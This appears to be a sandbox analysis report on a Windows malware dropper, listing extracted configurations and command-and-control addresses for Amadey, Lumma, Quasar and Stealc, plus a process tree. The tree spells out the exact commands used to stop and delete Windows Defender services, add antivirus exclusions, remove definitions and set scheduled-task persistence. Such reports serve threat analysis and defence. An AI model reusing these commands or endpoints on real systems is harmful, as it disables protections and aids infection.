Analysis
- max time kernel
132s - max time network
151s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20250314-en - resource tags
- submitted
31/03/2025, 12:16
General
- Target random.exe
- Size 1.8MB
- Sample250331-pffftaztbt
- SHA256 83c18fb1aeabee9c2108288562cef143babeabe3eed9e14eece66cfe7ecfa880
Malware Config
Extracted
-
amadey
-
5.21
-
092155
-
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Extracted
-
lumma
-
https://navstarx.shop/FoaJSi
-
https://metalsyo.digital/opsa
-
https://ironloxp.live/aksdd
-
https://starcloc.bet/GOksAo
-
https://advennture.top/GKsiio
-
https://targett.top/dsANGt
-
https://spacedbv.world/EKdlsk
-
https://galxnetb.today/GsuIAo
-
https://qadvennture.top/GKsiio
-
https://rodformi.run/aUosoz
-
https://wnavstarx.shop/FoaJSi
-
https://cosmosyf.top/GOsznj
-
https://byteplusx.digital/aXweAX
-
https://travewlio.shop/ZNxbHi
-
https://skynetxc.live/AksoPA
-
https://pixtreev.run/LkaUz
-
https://sparkiob.digital/KeASUp
-
https://appgridn.live/LEjdAK
-
https://3galxnetb.today/GsuIAo
-
https://esccapewz.run/ANSbwqy
Extracted
-
quasar
-
1.5.0
-
Office04
-
51.89.204.80:4782
-
65581c6d-14ba-4da9-86dd-ffd8304b8eb1
-
encryption_key
8C25D2F2D6CDE756BAFC0531B3B70446BFBAF003
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Modded Client Startup
-
subdirectory
SubDir
Extracted
-
stealc
-
trump
-
http://45.93.20.28
-
url_path
/85a1cacf11314eb8.php
Extracted
-
amadey
-
5.33
-
22031d
-
http://176.65.137.193
-
install_dir
f9827b8d90
-
install_file
tgvazx.exe
-
strings_key
e572dfc3ce5579f21eaa18280fb43c17
-
url_paths
/Lajv8eS3/index.php
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
- Detects Healer an antivirus disabler dropper 2 IoCs
- Healer
Healer an antivirus disabler dropper.
- Healer family
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- Modifies security service 2 TTPs 3 IoCs
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
- Creates new service(s) 2 TTPs
- Downloads MZ/PE file 16 IoCs
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Possible privilege escalation attempt 4 IoCs
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 16 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 43 IoCs
- Identifies Wine through registry keys 2 TTPs 10 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 58 IoCs
- Modifies file permissions 1 TTPs 4 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- UPX packed file 38 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 4 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 47 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 18 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Kills process with taskkill 5 IoCs
- Modifies registry class 16 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 32 IoCs
- Suspicious use of SendNotifyMessage 23 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\random.exe"C:\Users\Admin\AppData\Local\Temp\random.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\10374380101\02361faf94.exe"C:\Users\Admin\AppData\Local\Temp\10374380101\02361faf94.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\221.exe"C:\Users\Admin\AppData\Local\Temp\221.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B277.tmp\B278.tmp\B279.bat C:\Users\Admin\AppData\Local\Temp\221.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\221.exe"C:\Users\Admin\AppData\Local\Temp\221.exe" go6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B342.tmp\B343.tmp\B344.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"7⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 18⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y8⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f8⤵
- Modifies security service
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f8⤵
- Modifies security service
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"8⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"8⤵
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"8⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete ddrver8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10380550101\9b65152e0b.exe"C:\Users\Admin\AppData\Local\Temp\10380550101\9b65152e0b.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe"C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\10385170101\nAM5wkr.exe"C:\Users\Admin\AppData\Local\Temp\10385170101\nAM5wkr.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\xdwdkernel.exe" WindowsControl ENABLE & exit4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft Cloud" /tr "C:\Users\Admin\AppData\Roaming\xdwdkernel.exe" /RL HIGHEST & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "Microsoft Cloud" /tr "C:\Users\Admin\AppData\Roaming\xdwdkernel.exe" /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft DotNet Kernel" /tr "C:\Users\Admin\AppData\Roaming\xdwdmicrosoft.exe" /RL HIGHEST & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "Microsoft DotNet Kernel" /tr "C:\Users\Admin\AppData\Roaming\xdwdmicrosoft.exe" /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"C:\Users\Admin\AppData\Roaming\xdwdkernel.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\10386410101\bprz1VA.exe"C:\Users\Admin\AppData\Local\Temp\10386410101\bprz1VA.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wow_6262_build (9).exe"C:\Users\Admin\AppData\Local\Temp\wow_6262_build (9).exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\Built.exe"C:\Users\Admin\AppData\Local\Temp\Built.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend7⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All7⤵
- Deletes Windows Defender Definitions
- Loads dropped DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"6⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST7⤵
- Loads dropped DLL
- Enumerates processes with tasklist
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid7⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Luma_Crypt_Packlab.exe"C:\Users\Admin\AppData\Local\Temp\Luma_Crypt_Packlab.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10391640101\gLLOqKC.exe"C:\Users\Admin\AppData\Local\Temp\10391640101\gLLOqKC.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\a5.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\a5.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\a5.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\a5.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\f9827b8d90\tgvazx.exe"C:\Users\Admin\AppData\Local\Temp\f9827b8d90\tgvazx.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10392050101\apple.exe"C:\Users\Admin\AppData\Local\Temp\10392050101\apple.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\221.exe"C:\Users\Admin\AppData\Local\Temp\221.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7153.tmp\7154.tmp\7155.bat C:\Users\Admin\AppData\Local\Temp\221.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\221.exe"C:\Users\Admin\AppData\Local\Temp\221.exe" go6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\726C.tmp\726D.tmp\726E.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"7⤵
- Drops file in Program Files directory
-
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\timeout.exetimeout /t 18⤵
- Loads dropped DLL
- Delays execution with timeout.exe
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc start ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"8⤵
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"8⤵
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"8⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"8⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "Sense"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"8⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"8⤵
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"8⤵
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"8⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f8⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f8⤵
-
-
C:\Windows\system32\sc.exesc stop ddrver8⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete ddrver8⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10392901101\8d7167a33a.exe"C:\Users\Admin\AppData\Local\Temp\10392901101\8d7167a33a.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "C:WindowsSystem32 orfiles.exe" /p c:windowssystem32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\rootMicrosoftWindowsDefender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"4⤵
- System Location Discovery: System Language Discovery
-
